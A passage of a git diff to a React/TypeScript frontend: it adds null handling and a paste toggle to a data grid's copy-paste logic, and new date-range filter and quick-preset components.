 import { ChevronDown, ChevronUp, X } from "lucide-react";
 
 import { Button } from "@app/components/v3/generic/Button";
-import { UnstableInput as Input } from "@app/components/v3/generic/Input";
+import { Input } from "@app/components/v3/generic/Input";
 
 import { useAsRef } from "./hooks/use-as-ref";
 import { useDebouncedCallback } from "./hooks/use-debounced-callback";
diff --git a/frontend/src/components/v3/generic/DataGrid/data-grid-types.ts b/frontend/src/components/v3/generic/DataGrid/data-grid-types.ts
index c2e4e9cfaaa..74637172ae5 100644
--- a/frontend/src/components/v3/generic/DataGrid/data-grid-types.ts
+++ b/frontend/src/components/v3/generic/DataGrid/data-grid-types.ts
@@ -117,6 +117,7 @@ declare module "@tanstack/react-table" {
     pasteDialog?: PasteDialogState;
     onPasteDialogOpenChange?: (open: boolean) => void;
     readOnly?: boolean;
+    enablePaste?: boolean;
   }
 }
 
diff --git a/frontend/src/components/v3/generic/DataGrid/use-data-grid.ts b/frontend/src/components/v3/generic/DataGrid/use-data-grid.ts
index 7a71d1c47f2..963e78c8fef 100644
--- a/frontend/src/components/v3/generic/DataGrid/use-data-grid.ts
+++ b/frontend/src/components/v3/generic/DataGrid/use-data-grid.ts
@@ -58,7 +58,6 @@ const SEARCH_SHORTCUT_KEY = "f";
 const NON_NAVIGABLE_COLUMN_IDS = ["select", "actions"];
 
 const DOMAIN_REGEX = /^[\w.-]+\.[a-z]{2,}(\/\S*)?$/i;
-const ISO_DATE_REGEX = /^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}:\d{2}.*)?$/;
 const TRUTHY_BOOLEANS = new Set(["true", "1", "yes", "checked"]);
 const VALID_BOOLEANS = new Set(["true", "false", "1", "0", "yes", "no", "checked", "unchecked"]);
 
@@ -535,12 +534,14 @@ function useDataGrid<TData>({
           const cellVariant = cell.column.columnDef?.meta?.cell?.variant;
 
           let serializedValue = "";
-          if (cellVariant === "file" || cellVariant === "multi-select") {
+          if (value === null || value === undefined) {
+            serializedValue = "NULL";
+          } else if (cellVariant === "file" || cellVariant === "multi-select") {
             serializedValue = value ? JSON.stringify(value) : "";
           } else if (value instanceof Date) {
             serializedValue = value.toISOString();
           } else {
-            serializedValue = String(value ?? "");
+            serializedValue = String(value);
           }
 
           cellData.set(cellKey, serializedValue);
@@ -632,12 +633,14 @@ function useDataGrid<TData>({
           const cellVariant = cell.column.columnDef?.meta?.cell?.variant;
 
           let serializedValue = "";
-          if (cellVariant === "file" || cellVariant === "multi-select") {
+          if (value === null || value === undefined) {
+            serializedValue = "NULL";
+          } else if (cellVariant === "file" || cellVariant === "multi-select") {
             serializedValue = value ? JSON.stringify(value) : "";
           } else if (value instanceof Date) {
             serializedValue = value.toISOString();
           } else {
-            serializedValue = String(value ?? "");
+            serializedValue = String(value);
           }
 
           cellData.set(cellKey, serializedValue);
@@ -792,170 +795,134 @@ function useDataGrid<TData>({
             const cellOpts = column?.columnDef?.meta?.cell;
             const cellVariant = cellOpts?.variant;
 
-            let processedValue: unknown = pastedValue;
+            const isNullValue = pastedValue === "NULL";
+            let processedValue: unknown = isNullValue ? null : pastedValue;
             let shouldSkip = false;
 
-            switch (cellVariant) {
-              case "number": {
-                if (!pastedValue) {
-                  processedValue = null;
-                } else {
-                  const num = Number.parseFloat(pastedValue);
-                  if (Number.isNaN(num)) shouldSkip = true;
-                  else processedValue = num;
-                }
-                break;
-              }
-
-              case "checkbox": {
-                if (!pastedValue) {
-                  processedValue = false;
-                } else {
-                  const lower = pastedValue.toLowerCase();
-                  if (VALID_BOOLEANS.has(lower)) {
-                    processedValue = TRUTHY_BOOLEANS.has(lower);
+            if (!isNullValue)
+              switch (cellVariant) {
+                case "number": {
+                  if (!pastedValue) {
+                    processedValue = null;
                   } else {
-                    shouldSkip = true;
+                    const num = Number.parseFloat(pastedValue);
+                    if (Number.isNaN(num)) shouldSkip = true;
+                    else processedValue = num;
                   }
+                  break;
                 }
-                break;
-              }
-
-              case "date": {
-                if (!pastedValue) {
-                  processedValue = null;
-                } else {
-                  const date = new Date(pastedValue);
-                  if (Number.isNaN(date.getTime())) shouldSkip = true;
-                  else processedValue = date;
-                }
-                break;
-              }
 
-              case "select": {
-                const options = cellOpts?.options ?? [];
-                if (!pastedValue) {
-                  processedValue = "";
-                } else {
-                  const matched = matchSelectOption(pastedValue, options);
-                  if (matched) processedValue = matched;
-                  else shouldSkip = true;
+                case "checkbox": {
+                  if (!pastedValue) {
+                    processedValue = false;
+                  } else {
+                    const lower = pastedValue.toLowerCase();
+                    if (VALID_BOOLEANS.has(lower)) {
+                      processedValue = TRUTHY_BOOLEANS.has(lower);
+                    } else {
+                      shouldSkip = true;
+                    }
+                  }
+                  break;
                 }
-                break;
-              }
 
-              case "multi-select": {
-                const options = cellOpts?.options ?? [];
-                let values: string[] = [];
-                try {
-                  const parsed = JSON.parse(pastedValue);
-                  if (Array.isArray(parsed)) {
-                    values = parsed.filter((v): v is string => typeof v === "string");
+                case "date": {
+                  if (!pastedValue) {
+                    processedValue = null;
+                  } else {
+                    const date = new Date(pastedValue);
+                    if (Number.isNaN(date.getTime())) shouldSkip = true;
+                    else processedValue = date;
                   }
-                } catch {
-                  values = pastedValue ? pastedValue.split(",").map((v) => v.trim()) : [];
+                  break;
                 }
 
-                const validated = values
-                  .map((v) => matchSelectOption(v, options))
-                  .filter(Boolean) as string[];
-
-                if (values.length > 0 && validated.length === 0) {
-                  shouldSkip = true;
-                } else {
-                  processedValue = validated;
+                case "select": {
+                  const options = cellOpts?.options ?? [];
+                  if (!pastedValue) {
+                    processedValue = "";
+                  } else {
+                    const matched = matchSelectOption(pastedValue, options);
+                    if (matched) processedValue = matched;
+                    else shouldSkip = true;
+                  }
+                  break;
                 }
-                break;
-              }
 
-              case "file": {
-                if (!pastedValue) {
-                  processedValue = [];
-                } else {
+                case "multi-select": {
+                  const options = cellOpts?.options ?? [];
+                  let values: string[] = [];
                   try {
                     const parsed = JSON.parse(pastedValue);
-                    if (!Array.isArray(parsed)) {
-                      shouldSkip = true;
-                    } else {
-                      const validFiles = parsed.filter(getIsFileCellData);
-                      if (parsed.length > 0 && validFiles.length === 0) {
-                        shouldSkip = true;
-                      } else {
-                        processedValue = validFiles;
-                      }
+                    if (Array.isArray(parsed)) {
+                      values = parsed.filter((v): v is string => typeof v === "string");
                     }
                   } catch {
+                    values = pastedValue ? pastedValue.split(",").map((v) => v.trim()) : [];
+                  }
+
+                  const validated = values
+                    .map((v) => matchSelectOption(v, options))
+                    .filter(Boolean) as string[];
+
+                  if (values.length > 0 && validated.length === 0) {
                     shouldSkip = true;
+                  } else {
+                    processedValue = validated;
                   }
+                  break;
                 }
-                break;
-              }
 
-              case "url": {
-                if (!pastedValue) {
-                  processedValue = "";
-                } else {
-                  const firstChar = pastedValue[0];
-                  if (firstChar === "[" || firstChar === "{") {
-                    shouldSkip = true;
+                case "file": {
+                  if (!pastedValue) {
+                    processedValue = [];
                   } else {
                     try {
-                      new URL(pastedValue);
-                      processedValue = pastedValue;
-                    } catch {
-                      if (DOMAIN_REGEX.test(pastedValue)) {
-                        processedValue = pastedValue;
-                      } else {
+                      const parsed = JSON.parse(pastedValue);
+                      if (!Array.isArray(parsed)) {
                         shouldSkip = true;
+                      } else {
+                        const validFiles = parsed.filter(getIsFileCellData);
+                        if (parsed.length > 0 && validFiles.length === 0) {
+                          shouldSkip = true;
+                        } else {
+                          processedValue = validFiles;
+                        }
                       }
+                    } catch {
+                      shouldSkip = true;
                     }
                   }
-                }
-                break;
-              }
-
-              default: {
-                if (!pastedValue) {
-                  processedValue = "";
                   break;
                 }
 
-                if (ISO_DATE_REGEX.test(pastedValue)) {
-                  const date = new Date(pastedValue);
-                  if (!Number.isNaN(date.getTime())) {
-                    processedValue = date.toLocaleDateString();
-                    break;
-                  }
-                }
-
-                const firstChar = pastedValue[0];
-                if (
-                  firstChar === "[" ||
-                  firstChar === "{" ||
-                  firstChar === "t" ||
-                  firstChar === "f"
-                ) {
-                  try {
-                    const parsed = JSON.parse(pastedValue);
-
-                    if (Array.isArray(parsed)) {
-                      if (parsed.length > 0 && parsed.every(getIsFileCellData)) {
-                        processedValue = parsed.map((f) => f.name).join(", ");
-                      } else if (parsed.every((v) => typeof v === "string")) {
-                        processedValue = (parsed as string[]).join(", ");
+                case "url": {
+                  if (!pastedValue) {
+                    processedValue = "";
+                  } else {
+                    const firstChar = pastedValue[0];
+                    if (firstChar === "[" || firstChar === "{") {
+                      shouldSkip = true;
+                    } else {
+                      try {
+                        new URL(pastedValue);
+                        processedValue = pastedValue;
+                      } catch {
+                        if (DOMAIN_REGEX.test(pastedValue)) {
+                          processedValue = pastedValue;
+                        } else {
+                          shouldSkip = true;
+                        }
                       }
-                    } else if (typeof parsed === "boolean") {
-                      processedValue = parsed ? "Checked" : "Unchecked";
-                    }
-                  } catch {
-                    const lower = pastedValue.toLowerCase();
-                    if (lower === "true" || lower === "false") {
-                      processedValue = lower === "true" ? "Checked" : "Unchecked";
                     }
                   }
+                  break;
+                }
+
+                default: {
+                  processedValue = pastedValue;
                 }
               }
-            }
 
             if (shouldSkip) {
               cellsSkipped++;
@@ -1984,6 +1951,9 @@ function useDataGrid<TData>({
       get readOnly() {
         return propsRef.current.readOnly;
       },
+      get enablePaste() {
+        return propsRef.current.enablePaste;
+      },
       getIsCellSelected,
       getIsSearchMatch,
       getIsActiveSearchMatch,
diff --git a/frontend/src/components/v3/generic/DateRangeFilter/DateRangeFilter.tsx b/frontend/src/components/v3/generic/DateRangeFilter/DateRangeFilter.tsx
new file mode 100644
index 00000000000..6444291b7bc
--- /dev/null
+++ b/frontend/src/components/v3/generic/DateRangeFilter/DateRangeFilter.tsx
@@ -0,0 +1,547 @@
+import { useCallback, useEffect, useMemo, useState } from "react";
+import { type DateRange } from "react-day-picker";
+import { addDays, addMonths, format, subMonths } from "date-fns";
+import { ArrowRight, CalendarIcon } from "lucide-react";
+import ms from "ms";
+
+import { cn } from "@app/components/v3/utils";
+
+import { Button, type ButtonProps } from "../Button";
+import { Calendar, CalendarDayButton } from "../Calendar";
+import { Input } from "../Input";
+import { Popover, PopoverContent, PopoverTrigger } from "../Popover";
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "../Select";
+import { Switch } from "../Switch";
+
+const MAX_RANGE_MONTHS = 3;
+
+const SECONDARY_PRESETS = [
+  { value: "1d", label: "1 day" },
+  { value: "2d", label: "2 days" },
+  { value: "1w", label: "1 week" },
+  { value: "2w", label: "2 weeks" },
+  { value: "1M", label: "1 month" },
+  { value: "3M", label: "3 months" }
+] as const;
+
+const RELATIVE_OPTIONS = [
+  { label: "Minutes", unit: "m", values: [5, 10, 15, 30, 45] },
+  { label: "Hours", unit: "h", values: [1, 2, 3, 6, 8, 12] },
+  { label: "Days", unit: "d", values: [1, 2, 3, 4, 5, 6] },
+  { label: "Weeks", unit: "w", values: [1, 2, 3, 4] },
+  { label: "Months", unit: "M", values: [1, 2, 3] }
+] as const;
+
+export enum DateRangeFilterType {
+  Last = "last",
+  Fixed = "fixed"
+}
+
+export type DateRangeFilterValue =
+  | { type: DateRangeFilterType.Last; value: string }
+  | { type: DateRangeFilterType.Fixed; startDate: Date; endDate: Date };
+
+export type DateRangeFilterResult = {
+  startDate: Date;
+  endDate: Date;
+  isUtc: boolean;
+};
+
+export type DateRangeFilterAccent = "primary" | "secondary";
+
+type Props = {
+  defaultValue?: DateRangeFilterValue;
+  defaultIsUtc?: boolean;
+  onChange: (value: DateRangeFilterResult) => void;
+  accent?: DateRangeFilterAccent;
+  isActive?: boolean;
+  className?: string;
+};
+
+export const ACCENT_STYLES: Record<
+  DateRangeFilterAccent,
+  {
+    selectedBorderBg: string;
+    selectedCard: string;
+    selectedBadge: string;
+    selectedChip: string;
+    switchChecked: string;
+    applyButton: string;
+    calendarMiddle: string;
+    activeVariant: ButtonProps["variant"];
+  }
+> = {
+  primary: {
+    selectedBorderBg: "border-primary bg-primary/5",
+    selectedCard: "border-primary/40 bg-primary/5 shadow-xs",
+    selectedBadge: "rounded-sm bg-primary/5 px-1.5 py-0.5 text-[11px] font-medium text-primary",
+    selectedChip: "border-primary/40 bg-primary/5 text-foreground",
+    switchChecked:
+      "data-[state=checked]:border-primary/25 data-[state=checked]:bg-primary/10 data-[state=checked]:hover:border-primary/30 data-[state=checked]:hover:bg-primary/15",
+    applyButton: "border-primary/25 bg-primary/10 hover:bg-primary/15 hover:border-primary/30",
+    calendarMiddle: "data-[range-middle=true]:!bg-muted/[12%]",
+    activeVariant: "project"
+  },
+  secondary: {
+    selectedBorderBg: "border-org bg-org/5",
+    selectedCard: "border-org/40 bg-org/5 shadow-xs",
+    selectedBadge: "rounded-sm bg-org/5 px-1.5 py-0.5 text-[11px] font-medium text-org",
+    selectedChip: "border-org/40 bg-org/5 text-foreground",
+    switchChecked:
+      "data-[state=checked]:border-org/25 data-[state=checked]:bg-org/10 data-[state=checked]:hover:border-org/30 data-[state=checked]:hover:bg-org/15",
+    applyButton: "border-org/25 bg-org/10 hover:bg-org/15 hover:border-org/30",
+    calendarMiddle: "data-[range-middle=true]:!bg-muted/[12%]",
+    activeVariant: "org"
+  }
+};
+
+function formatDateForDisplay(date: Date, isUtc: boolean): string {
+  if (isUtc) {
+    const utcDate = new Date(date.getTime() + date.getTimezoneOffset() * 60000);
+    return format(utcDate, "MMM d, yyyy HH:mm");
+  }
+  return format(date, "MMM d, yyyy HH:mm");
+}
+
+function formatTriggerLabel(value: DateRangeFilterValue, isUtc: boolean): string {
+  if (value.type === DateRangeFilterType.Last) return `Last ${value.value}`;
+  const start = formatDateForDisplay(value.startDate, isUtc);
+  const end = formatDateForDisplay(value.endDate, isUtc);
+  return `${start} — ${end}`;
+}
+
+function combineDateAndTime(date: Date, timeStr: string): Date {
+  const [hoursStr, minutesStr] = timeStr.split(":");
+  const result = new Date(date);
+  result.setHours(Number(hoursStr) || 0, Number(minutesStr) || 0, 0, 0);
+  return result;
+}
+
+function toTimeString(date: Date): string {
+  const h = date.getHours().toString().padStart(2, "0");
+  const m = date.getMinutes().toString().padStart(2, "0");
+  return `${h}:${m}`;
+}
+
+function isValidLastValue(val: string): boolean {
+  if (!val) return false;
+  if (/^(\d+)M$/.test(val)) return parseInt(val, 10) > 0;
+  const parsed = ms(val);
+  return typeof parsed === "number" && parsed > 0;
+}
+
+function parseLastValue(val: string): { duration: string; unit: string } | null {
+  const match = val.match(/^(\d+)([mhdwM])$/);
+  if (!match) return null;
+  return { duration: match[1], unit: match[2] };
+}
+
+function resolveDateRange(value: DateRangeFilterValue, isUtc: boolean): DateRangeFilterResult {
+  if (value.type === DateRangeFilterType.Last) {
+    const now = new Date();
+    const monthMatch = value.value.match(/^(\d+)M$/);
+    const startDate = monthMatch
+      ? subMonths(now, parseInt(monthMatch[1], 10))
+      : new Date(now.getTime() - ms(value.value));
+    return { startDate, endDate: now, isUtc };
+  }
+
+  return {
+    startDate: value.startDate,
+    endDate: value.endDate,
+    isUtc
+  };
+}
+
+export function DateRangeFilter({
+  defaultValue,
+  defaultIsUtc = false,
+  onChange,
+  accent = "primary",
+  isActive = true,
+  className
+}: Props) {
+  const initialValue = defaultValue ?? { type: DateRangeFilterType.Last, value: "1h" };
+  const [appliedValue, setAppliedValue] = useState<DateRangeFilterValue>(initialValue);
+  const [appliedIsUtc, setAppliedIsUtc] = useState(defaultIsUtc);
+  const [isOpen, setIsOpen] = useState(false);
+  const [mode, setMode] = useState<DateRangeFilterType>(
+    initialValue.type === DateRangeFilterType.Fixed
+      ? DateRangeFilterType.Fixed
+      : DateRangeFilterType.Last
+  );
+
+  // Last mode state — seed from the initial value if it's a Last type
+  const initialLastParsed =
+    initialValue.type === DateRangeFilterType.Last
+      ? (parseLastValue(initialValue.value) ?? { duration: "1", unit: "h" })
+      : { duration: "1", unit: "h" };
+  const [customDuration, setCustomDuration] = useState<string>(initialLastParsed.duration);
+  const [customUnit, setCustomUnit] = useState<string>(initialLastParsed.unit);
+
+  // Fixed mode state
+  const [pendingRange, setPendingRange] = useState<DateRange | undefined>(
+    initialValue.type === DateRangeFilterType.Fixed
+      ? { from: initialValue.startDate, to: initialValue.endDate }
+      : undefined
+  );
+  const [startTime, setStartTime] = useState<string>(
+    initialValue.type === DateRangeFilterType.Fixed ? toTimeString(initialValue.startDate) : "00:00"
+  );
+  const [endTime, setEndTime] = useState<string>(
+    initialValue.type === DateRangeFilterType.Fixed ? toTimeString(initialValue.endDate) : "23:59"
+  );
+
+  // Timezone state
+  const [pendingIsUtc, setPendingIsUtc] = useState(defaultIsUtc);
+
+  // Sync pending state when popover opens
+  useEffect(() => {
+    if (isOpen) {
+      setMode(
+        appliedValue.type === DateRangeFilterType.Fixed
+          ? DateRangeFilterType.Fixed
+          : DateRangeFilterType.Last
+      );
+      setPendingIsUtc(appliedIsUtc);
+      if (appliedValue.type === DateRangeFilterType.Last) {
+        const parsed = parseLastValue(appliedValue.value) ?? { duration: "1", unit: "h" };
+        setCustomDuration(parsed.duration);
+        setCustomUnit(parsed.unit);
+      } else {
+        setPendingRange({ from: appliedValue.startDate, to: appliedValue.endDate });
+        setStartTime(toTimeString(appliedValue.startDate));
+        setEndTime(toTimeString(appliedValue.endDate));
+      }
+    }
+  }, [isOpen, appliedValue, appliedIsUtc]);
+
+  const handleApply = () => {
+    let nextValue: DateRangeFilterValue;
+    if (mode === DateRangeFilterType.Last) {
+      const lastVal = `${customDuration}${customUnit}`;
+      if (!isValidLastValue(lastVal)) return;
+      nextValue = { type: DateRangeFilterType.Last, value: lastVal };
+    } else {
+      if (!pendingRange?.from || !pendingRange?.to) return;
+      const startDate = combineDateAndTime(pendingRange.from, startTime);
+      const endDate = combineDateAndTime(pendingRange.to, endTime);
+      nextValue = { type: DateRangeFilterType.Fixed, startDate, endDate };
+    }
+
+    setAppliedValue(nextValue);
+    setAppliedIsUtc(pendingIsUtc);
+    onChange(resolveDateRange(nextValue, pendingIsUtc));
+    setIsOpen(false);
+  };
+
+  const today = new Date();
+
+  const calendarDefaultMonth = pendingRange?.from ? pendingRange.from : addMonths(today, -1);
+
+  const isInvalidFixedRange = useMemo(() => {
+    if (mode !== DateRangeFilterType.Fixed || !pendingRange?.from || !pendingRange?.to)
+      return false;
+    const start = combineDateAndTime(pendingRange.from, startTime);
+    const end = combineDateAndTime(pendingRange.to, endTime);
+    return start >= end;
+  }, [mode, pendingRange, startTime, endTime]);
+
+  const isApplyDisabled = useMemo(() => {
+    if (mode === DateRangeFilterType.Fixed) {
+      if (!pendingRange?.from || !pendingRange?.to) return true;
+      return isInvalidFixedRange;
+    }
+    return !isValidLastValue(`${customDuration}${customUnit}`);
+  }, [mode, pendingRange, isInvalidFixedRange, customDuration, customUnit]);
+
+  const accentStyles = ACCENT_STYLES[accent];
+
+  // eslint-disable-next-line react/no-unstable-nested-components
+  const DayButton = useCallback(
+    (props: React.ComponentProps<typeof CalendarDayButton>) => (
+      <CalendarDayButton {...props} className={accentStyles.calendarMiddle} />
+    ),
+    [accentStyles.calendarMiddle]
+  );
+
+  const selectedCustomUnit = useMemo(
+    () => RELATIVE_OPTIONS.find((opt) => opt.unit === customUnit),
+    [customUnit]
+  );
+
+  const renderTrigger = () => {
+    if (!isActive) {
+      return (
+        <Button variant="outline" size="sm" className={cn("gap-1.5 font-normal", className)}>
+          <CalendarIcon className="text-muted-foreground size-3.5 shrink-0" />
+          Custom
+        </Button>
+      );
+    }
+
+    if (appliedValue.type === DateRangeFilterType.Fixed) {
+      return (
+        <Button
+          variant="outline"
+          size="sm"
+          className={cn("gap-1.5 font-normal", accentStyles.selectedChip, className)}
+        >
+          <span className="text-xs">{format(appliedValue.startDate, "MMM d, yyyy")}</span>
+          <ArrowRight className="text-muted-foreground size-3 shrink-0" />
+          <span className="text-xs">{format(appliedValue.endDate, "MMM d, yyyy")}</span>
+          <CalendarIcon className="text-muted-foreground size-3.5 shrink-0" />
+        </Button>
+      );
+    }
+
+    return (
+      <Button
+        variant="outline"
+        size="sm"
+        className={cn("gap-1.5 font-normal", accentStyles.selectedChip, className)}
+      >
+        <CalendarIcon className="text-muted-foreground size-3.5 shrink-0" />
+        <span className="max-w-72 truncate">{formatTriggerLabel(appliedValue, appliedIsUtc)}</span>
+      </Button>
+    );
+  };
+
+  return (
+    <Popover open={isOpen} onOpenChange={setIsOpen}>
+      <PopoverTrigger asChild>{renderTrigger()}</PopoverTrigger>
+
+      <PopoverContent
+        align="end"
+        sideOffset={8}
+        className="w-auto min-w-[30rem] overflow-hidden p-0"
+      >
+        <div className="flex flex-col">
+          {/* Body */}
+          <div className="flex">
+            {/* Left sidebar */}
+            <div className="flex w-24 shrink-0 flex-col border-r border-border py-2">
+              {[DateRangeFilterType.Last, DateRangeFilterType.Fixed].map((m) => (
+                <button
+                  key={m}
+                  type="button"
+                  onClick={() => setMode(m)}
+                  className={cn(
+                    "border-l-2 px-3 py-2 text-left text-sm transition-colors",
+                    mode === m
+                      ? `${accentStyles.selectedBorderBg} font-medium text-foreground`
+                      : "text-muted-foreground border-transparent hover:bg-foreground/5 hover:text-foreground"
+                  )}
+                >
+                  {m === DateRangeFilterType.Last ? "Last" : "Fixed"}
+                </button>
+              ))}
+            </div>
+
+            {/* Right content */}
+            <div className="flex-1 p-4">
+              {mode === DateRangeFilterType.Last && (
+                <div className="flex flex-col gap-3">
+                  <span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
+                    Quick ranges
+                  </span>
+                  <div className="grid grid-cols-2 gap-2">
+                    {SECONDARY_PRESETS.map(({ value: val, label }) => {
+                      const parsed = parseLastValue(val);
+                      const isPresetActive =
+                        parsed && customDuration === parsed.duration && customUnit === parsed.unit;
+                      return (
+                        <Button
+                          key={val}
+                          size="xs"
+                          variant={isPresetActive ? accentStyles.activeVariant : "outline"}
+                          isFullWidth
+                          className="justify-start"
+                          onClick={() => {
+                            if (parsed) {
+                              setCustomDuration(parsed.duration);
+                              setCustomUnit(parsed.unit);
+                            }
+                          }}
+                        >
+                          {label}
+                        </Button>
+                      );
+                    })}
+                  </div>
+
+                  <span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
+                    Custom
+                  </span>
+                  <div className="flex items-center gap-2">
+                    <Input
+                      type="text"
+                      inputMode="numeric"
+                      placeholder="Amount"
+                      className="h-8 flex-1 text-xs"
+                      value={customDuration}
+                      onChange={(e) => {
+                        const val = e.target.value;
+                        if (val === "" || /^[1-9]\d*$/.test(val)) {
+                          setCustomDuration(val);
+                        }
+                      }}
+                    />
+                    <Select value={customUnit} onValueChange={setCustomUnit}>
+                      <SelectTrigger size="sm" className="!h-8 flex-1 text-xs">
+                        <SelectValue />
+                      </SelectTrigger>
+                      <SelectContent>
+                        {RELATIVE_OPTIONS.map((opt) => (
+                          <SelectItem key={opt.unit} value={opt.unit}>
+                            {opt.label}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                  </div>
+
+                  <div className="flex flex-wrap gap-2">
+                    {selectedCustomUnit?.values.map((val) => {
+                      const isChipActive = customDuration === String(val);
+                      return (
+                        <Button
+                          key={`${selectedCustomUnit.unit}-${val}`}
+                          size="xs"
+                          variant={isChipActive ? accentStyles.activeVariant : "outline"}
+                          onClick={() => setCustomDuration(String(val))}
+                        >
+                          {val}
+                        </Button>
+                      );
+                    })}
+                  </div>
+                </div>
+              )}
+
+              {mode === DateRangeFilterType.Fixed && (
+                <div className="flex flex-col gap-3">
+                  {/* Calendar */}
+                  <Calendar
+                    mode="range"
+                    selected={pendingRange}
+                    onSelect={(range, selectedDay) => {
+                      // If a complete range (with distinct start/end) is already selected, restart from the clicked date
+                      if (
+                        pendingRange?.from &&
+                        pendingRange?.to &&
+                        pendingRange.from.getTime() !== pendingRange.to.getTime()
+                      ) {
+                        setPendingRange({ from: selectedDay, to: undefined });
+                        return;
+                      }
+                      setPendingRange(range);
+                    }}
+                    numberOfMonths={2}
+                    showOutsideDays={false}
+                    captionLayout="dropdown"
+                    disabled={[
+                      { after: today },
+                      { before: addDays(subMonths(today, MAX_RANGE_MONTHS), 1) }
+                    ]}
+                    defaultMonth={calendarDefaultMonth}
+                    startMonth={addDays(subMonths(today, MAX_RANGE_MONTHS), 1)}
+                    endMonth={today}
+                    className="p-0"
+                    classNames={{
+                      range_start:
+                        "rounded-l-(--cell-radius) bg-muted/[12%] relative after:bg-muted/[12%] after:absolute after:inset-y-0 after:w-4 after:right-0 z-0 isolate",
+                      range_end:
+                        "rounded-r-(--cell-radius) bg-muted/[12%] relative after:bg-muted/[12%] after:absolute after:inset-y-0 after:w-4 after:left-0 z-0 isolate",
+                      range_middle: "rounded-none"
+                    }}
+                    components={{
+                      DayButton
+                    }}
+                  />
+
+                  {/* Time inputs */}
+                  <div className="flex flex-col gap-2 border-t border-border pt-2">
+                    <div className="flex items-end gap-2">
+                      <div className="flex flex-1 flex-col gap-1">
+                        <span className="text-muted-foreground text-xs">Start Time</span>
+                        <Input
+                          type="time"
+                          value={startTime}
+                          onChange={(e) => setStartTime(e.target.value)}
+                          className="h-9 w-full text-sm scheme-dark [&::-webkit-calendar-picker-indicator]:hidden"
+                        />
+                      </div>
+                      <span className="text-muted-foreground mb-2">→</span>
+                      <div className="flex flex-1 flex-col gap-1">
+                        <span className="text-muted-foreground text-xs">End Time</span>
+                        <Input
+                          type="time"
+                          value={endTime}
+                          onChange={(e) => setEndTime(e.target.value)}
+                          className="h-9 w-full text-sm scheme-dark [&::-webkit-calendar-picker-indicator]:hidden"
+                        />
+                      </div>
+                    </div>
+                    {isInvalidFixedRange && (
+                      <p className="text-xs text-red-400">Start date must be before end date.</p>
+                    )}
+                  </div>
+                </div>
+              )}
+            </div>
+          </div>
+
+          {/* Footer */}
+          <div className="flex items-center justify-between gap-2 border-t border-border px-4 py-3">
+            {mode === DateRangeFilterType.Fixed ? (
+              <div className="flex shrink-0 cursor-pointer items-center gap-2 select-none">
+                <span
+                  className={cn(
+                    "text-sm transition-colors",
+                    !pendingIsUtc ? "text-foreground" : "text-muted-foreground"
+                  )}
+                >
+                  Local
+                </span>
+                <Switch
+                  id="date-range-utc-toggle"
+                  checked={pendingIsUtc}
+                  onCheckedChange={setPendingIsUtc}
+                  size="sm"
+                  className={accentStyles.switchChecked}
+                />
+                {/* eslint-disable-next-line jsx-a11y/label-has-associated-control */}
+                <label
+                  htmlFor="date-range-utc-toggle"
+                  className={cn(
+                    "cursor-pointer text-sm transition-colors",
+                    pendingIsUtc ? "text-foreground" : "text-muted-foreground"
+                  )}
+                >
+                  UTC
+                </label>
+              </div>
+            ) : (
+              <div />
+            )}
+            <div className="flex items-center gap-2">
+              <Button variant="ghost" size="sm" onClick={() => setIsOpen(false)}>
+                Cancel
+              </Button>
+              <Button
+                variant="outline"
+                size="sm"
+                isDisabled={isApplyDisabled}
+                onClick={handleApply}
+                className={!isApplyDisabled ? accentStyles.applyButton : undefined}
+              >
+                Apply
+              </Button>
+            </div>
+          </div>
+        </div>
+      </PopoverContent>
+    </Popover>
+  );
+}
diff --git a/frontend/src/components/v3/generic/DateRangeFilter/DateRangeQuickPresets.tsx b/frontend/src/components/v3/generic/DateRangeFilter/DateRangeQuickPresets.tsx
new file mode 100644
index 00000000000..e676da35436
--- /dev/null
+++ b/frontend/src/components/v3/generic/DateRangeFilter/DateRangeQuickPresets.tsx
@@ -0,0 +1,84 @@
+import { cn } from "@app/components/v3/utils";
+
+import { Button } from "../Button";
+import type { DateRangeFilterAccent, DateRangeFilterResult } from "./DateRangeFilter";
+import { ACCENT_STYLES } from "./DateRangeFilter";
+
+export type QuickPreset = {
+  label: string;
+  value: string;
+  resolve: () => { startDate: Date; endDate: Date };
+};
+
+export const DEFAULT_QUICK_PRESETS: QuickPreset[] = [
+  {
+    label: "5m",
+    value: "5m",
+    resolve: () => ({ startDate: new Date(Date.now() - 5 * 60 * 1000), endDate: new Date() })
+  },
+  {
+    label: "30m",
+    value: "30m",
+    resolve: () => ({ startDate: new Date(Date.now() - 30 * 60 * 1000), endDate: new Date() })
+  },
+  {
+    label: "1h",
+    value: "1h",
+    resolve: () => ({ startDate: new Date(Date.now() - 60 * 60 * 1000), endDate: new Date() })
+  },
+  {
+    label: "3h",
+    value: "3h",
+    resolve: () => ({ startDate: new Date(Date.now() - 3 * 60 * 60 * 1000), endDate: new Date() })
+  },
+  {
+    label: "12h",
+    value: "12h",
+    resolve: () => ({
+      startDate: new Date(Date.now() - 12 * 60 * 60 * 1000),
+      endDate: new Date()
+    })
+  }
+];
+
+type Props = {
+  value?: string;
+  onChange: (presetValue: string, result: DateRangeFilterResult) => void;
+  presets?: QuickPreset[];
+  isUtc?: boolean;
+  accent?: DateRangeFilterAccent;
+  className?: string;
+};
+
+export function DateRangeQuickPresets({
+  value,
+  onChange,
+  presets = DEFAULT_QUICK_PRESETS,
+  isUtc = false,
+  accent = "primary",
+  className
+}: Props) {
+  const accentStyles = ACCENT_STYLES[accent];
+
+  return (
+    <>
+      {presets.map((preset) => {
+        const isActive = value === preset.value;
+        return (
+          <Button
+            key={preset.value}
+            size="sm"
+            variant={isActive ? accentStyles.activeVariant : "outline"}
+            onClick={() => {
+              const { startDate, endDate } = preset.resolve();
+              onChange(preset.value, { startDate, endDate, isUtc });
+            }}
+            className={cn(isActive ? "relative z-10" : "hover:relative hover:z-10", className)}
+          >
+            {preset.label}
+          </Button>
+        );
+      })}
+    </>
+  );
+}
diff --git a/frontend/src/components/v3/generic/DateRangeFilter/index.ts b/frontend/src/components/v3/generic/DateRangeFilter/index.ts
new file mode 100644
index 00000000000..a3c9bd147af
--- /dev/null
+++ b/frontend/src/components/v3/generic/DateRangeFilter/index.ts
@@ -0,0 +1,2 @@
+export * from "./DateRangeFilter";
+export * from "./DateRangeQuickPresets";
